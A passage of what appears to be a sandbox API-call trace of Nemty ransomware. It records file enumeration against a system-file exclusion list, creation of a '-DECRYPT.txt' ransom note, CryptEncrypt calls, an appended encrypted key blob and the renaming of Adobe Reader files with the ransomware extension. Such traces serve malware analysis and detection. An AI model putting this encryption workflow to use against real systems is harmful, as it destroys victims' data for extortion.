dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.718] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.719] CloseHandle (hObject=0x254) returned 1 [0171.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.720] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.721] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.721] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.722] CloseHandle (hObject=0x254) returned 1 [0171.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.722] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19fe0350, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19fe0350, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.722] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.722] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19fe0350, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19fe0350, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.723] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.723] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.723] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5944, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.723] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.724] Sleep (dwMilliseconds=0x5) [0171.738] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a02c610, dwHighDateTime=0x1d561e8)) [0171.738] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a02c610, dwHighDateTime=0x1d561e8)) [0171.738] GetLastError () returned 0xb7 [0171.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.738] GetLastError () returned 0xb7 [0171.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.738] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.738] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.739] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.739] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="dcMDe2tuTxLfJ9S7FjYgjBdQAY4vxdw8aiwegnzfQfNs7JRDacrq9z9JQI24qIz1\r\nR/1ZKqx6C5EAA6d4+rV1S6Osy8M5owNw0yq8Pto13om4qdj3q+eQMmw/eKCvBi5p\r\nMOwIwcObrDfA2sjjXI8y4MxeQzNrn+DmRwoCZNGOGFV1vmlYEGJ5vcsmKUbFCfoA\r\n2Hfv/VWHxZD0bQg/Nr/EOWdWPS42Uyp5OFamwVoekUjxlV/GHQlVLR5rAepjOZ2c\r\n6gEcuHgDma4FHRWPw6Z8PWkWqpcNbEUq6qrILZwQ4eU2o7nZF7yIMCW18xmXYr4J\r\nFVMSrMRtfy+JH7TPJX7WiA==\r\n", pcchString=0x653e5dc) returned 1 [0171.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.739] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.739] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=22852) returned 1 [0171.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5940) returned 0x6352c48 [0171.739] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.739] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5940, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5940, lpOverlapped=0x0) returned 1 [0171.742] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.742] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5940, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5940, lpOverlapped=0x0) returned 1 [0171.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.742] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=22852, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5944 [0171.742] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.742] CloseHandle (hObject=0x3b0) returned 1 [0171.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.743] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.745] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5404, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.745] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.746] Sleep (dwMilliseconds=0x5) [0171.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a052770, dwHighDateTime=0x1d561e8)) [0171.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a052770, dwHighDateTime=0x1d561e8)) [0171.754] GetLastError () returned 0x0 [0171.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.754] GetLastError () returned 0x0 [0171.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.754] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.754] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.754] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.754] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: 